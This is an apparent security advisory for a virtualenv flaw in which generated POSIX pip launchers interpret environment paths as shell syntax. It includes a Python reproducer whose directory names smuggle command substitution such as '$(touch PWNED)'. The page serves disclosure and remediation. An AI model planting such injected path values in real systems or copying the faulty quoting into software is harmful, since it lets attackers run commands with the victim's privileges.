High

virtualenv: Generated POSIX console launchers interpret destination paths as shell syntax

  • Disclosed: 21.10.2026
  • Updated: 23.10.2026 00:13

Summary

A destination path supplied to virtualenv can be interpreted as shell syntax by a generated POSIX console launcher. The app-data seeder and pip delegate launcher generation to distlib but supply the interpreter path in a form that does not preserve it as literal data in the shell wrapper.

Affected area

POSIX console scripts generated by the app-data seeder or pip when the interpreter path requires a shell wrapper. Windows executable launchers are not affected by this path.

Attacker-controlled input

An attacker must influence the environment destination passed to virtualenv, and the user must subsequently run a generated launcher. The attacker does not need to modify an installed executable or control the user's app-data cache.

Affected code

The relevant 21.14.8 source is in ScriptMakerCustom..

Mechanism

The app-data seeder passes the environment's interpreter path through enquote_executable() to distlib's ScriptMaker. It adds double quotes for a path with a space but does not escape shell expansions inside those quotes. When the path has a space or the shebang exceeds 127 bytes, distlib emits a #!/bin/sh wrapper with a line shaped like '''exec' "<path>" "$0" "$@". The shell expands $(...) and backticks in that path when the launcher is run. The same wrapper must also parse as Python, which exposes additional quote and backslash cases. Environment creation and activation do not trigger the shell payload.

Reproduction and evidence

The scanner created three environments: a control under my -touch PWNED- project, one under my $(touch PWNED) project, and one under a path of more than 127 bytes ending in $(touch${IFS}PWNED). Each was created without producing PWNED. Running the generated bin/pip --version created PWNED in both attack cases; the control created none. The long-path case reached the shell wrapper without a space. This reproduces execution by the generated launcher, with the user's privileges, rather than during seeding.

The report dates the app-data seeder's distlib launcher integration to #1579, first released in 20.0.2. PR #3417 quotes the raw interpreter path for the POSIX wrapper and repairs launchers written by the pip seeder. Pip's own distlib can write a vulnerable wrapper again during a later pip install or upgrade; the proposed virtualenv fix does not change pip's vendored code. The maintainer-provided follow-up review reports that later path separately.

Attack sequence

mermaid
sequenceDiagram
    participant A as Destination supplier
    participant V as virtualenv seeder
    participant D as distlib ScriptMaker
    participant S as Generated bin/pip
    participant U as User
    A->>V: path contains $(touch PWNED)
    V->>D: pass interpreter path with incomplete shell quoting
    D->>S: write /bin/sh wrapper
    Note over V,S: no payload runs during creation or activation
    U->>S: pip --version
    S->>S: shell expands path and runs touch
    S-->>U: PWNED appears with user's privileges

Reproducer files

The following files are from the scanner report for ANT-2026-5DZVLGL1. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import shutil
import subprocess
from pathlib import Path

WORK = Path("/tmp/repro-console-script")

# The attacker's whole input: the name of a directory above the environment (a repository, a project folder).
DIRECTORY_NAMES = {
    "CONTROL": "my -touch PWNED- project",
    "OBSERVED": "my $(touch PWNED) project",
    # no space: distlib also picks the /bin/sh launcher once "#!<dest>/bin/python" is longer than 127 bytes
    "OBSERVED_LONG": "p" * 120 + "$(touch${IFS}PWNED)",
}

shutil.rmtree(WORK, ignore_errors=True)
pip_printed = {}
created_by_pip = {}
for label, name in DIRECTORY_NAMES.items():
    # the payload can hold no "/", so it touches a relative PWNED: each case gets its own empty working directory
    cwd = WORK / label / "cwd"
    venv = WORK / label / name / "venv"
    cwd.mkdir(parents=True)

    # set up: the user creates an environment there with default options (--no-periodic-update keeps it offline)
    subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", str(venv)], cwd=cwd, check=True)
    assert list(cwd.iterdir()) == [], "environment creation must not have created anything"

    # trigger: the user runs the seeded pip; argv is a list, so the only shell that reads the name is bin/pip's own
    pip = subprocess.run([venv / "bin" / "pip", "--version"], cwd=cwd, capture_output=True, text=True)
    pip_printed[label] = pip.stdout
    created_by_pip[label] = sorted(p.name for p in cwd.iterdir())

    launcher = (venv / "bin" / "pip").read_text().splitlines()
    print(f"{label}: directory name {name!r}")
    print(f"  bin/pip line 1: {launcher[0]}")
    print(f"  bin/pip line 2: {launcher[1]}")
    print(f"  bin/pip --version printed: {(pip.stdout + pip.stderr).strip()}")
    print(f"  files bin/pip created in the working directory: {created_by_pip[label]}")

# check: a directory name is data; starting pip must run pip and nothing else
control_ok = pip_printed["CONTROL"].startswith("pip ") and created_by_pip["CONTROL"] == []
attack_ran = created_by_pip["OBSERVED"] == ["PWNED"] and created_by_pip["OBSERVED_LONG"] == ["PWNED"]
print("BUG" if control_ok and attack_ran else "OK")

Fix scope and remaining exposure

PR #3417 changes launcher generation by the app-data seeder and repairs POSIX shell wrappers after pip seeding. The pip-seeder repair uses the same quoting rule and updates the installed RECORD hashes and sizes. It does not modify pip's vendored distlib.

A later independent pip installation or upgrade can replace a corrected launcher with an affected one. Existing launchers are not repaired by upgrading virtualenv alone. Recreate environments with the corrected virtualenv to regenerate them, and use trusted destination paths. Recreation does not protect launchers subsequently rewritten by pip. The follow-up review reports reproduction through the previous pip seeder and after a pip upgrade; those results are attributed to the reviewer.

Impact

Running an affected launcher can execute commands with the calling user's privileges. Classification: high, CVSS 7.8, CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, following the project's generated-script precedent.. The vector assumes attacker-controlled path data and a user invoking the resulting launcher. No prior victim privileges are required; successful command execution can affect the user's data and processes.

Versions tested

The maintainer confirmed validation of the reported findings on release 21.14.8. The subsequent review records reproduction on unfixed upstream/main; the affected launcher integration and dependency declarations are unchanged from 21.14.8. The first affected release has not been established. Fixed in 21.14.9.

Known mitigation

Use an environment destination chosen by a trusted user. For older releases, avoid generating environments at destinations derived from untrusted input.

Affected release

  • The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-5DZVLGL1.

What to do

Upgrade to virtualenv 21.14.9 or later. Upgrading virtualenv alone does not repair existing launchers; recreate environments with the fixed virtualenv and ensure trusted destination paths are used. Note that recreation does not protect launchers that are subsequently rewritten by pip. As a workaround, select environment destination paths from trusted users and avoid using destinations derived from untrusted input.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) virtualenv < 21.14.9 21.14.9

References

CVSS score 7.8/10
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-78
Platform
Python (PyPI)
Package
virtualenv
Disclosed
21.10.2026
Updated
23.10.2026 00:13

Sources and licenses · Edited or translated by DockRay; source rights and applicable licenses are retained.

OSV / GitHub Advisory Database - GHSA-c978-59m8-c77v - CC BY 4.0

Vulnerability history: virtualenv

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (13) in the archive
Total entries
13
First → latest
12.2011 10.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • High 7
  • Medium 6

Disclosures per year

  1. 2017: 0
  2. 2018: 0
  3. 2019: 0
  4. 2020: 0
  5. 2021: 0
  6. 2022: 0
  7. 2023: 0
  8. 2024: 1
  9. 2025: 0
  10. 2026: 11

earlier: 1

Severity:
  1. virtualenv: Generated POSIX console launchers interpret destination paths as shell syntax this entry
    High · 7.8 CVE-2026-113722 < 21.14.9 21.14.9
  2. High · 7.8 CVE-2026-113776 >= 20.26.6, < 21.14.2 21.14.2

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.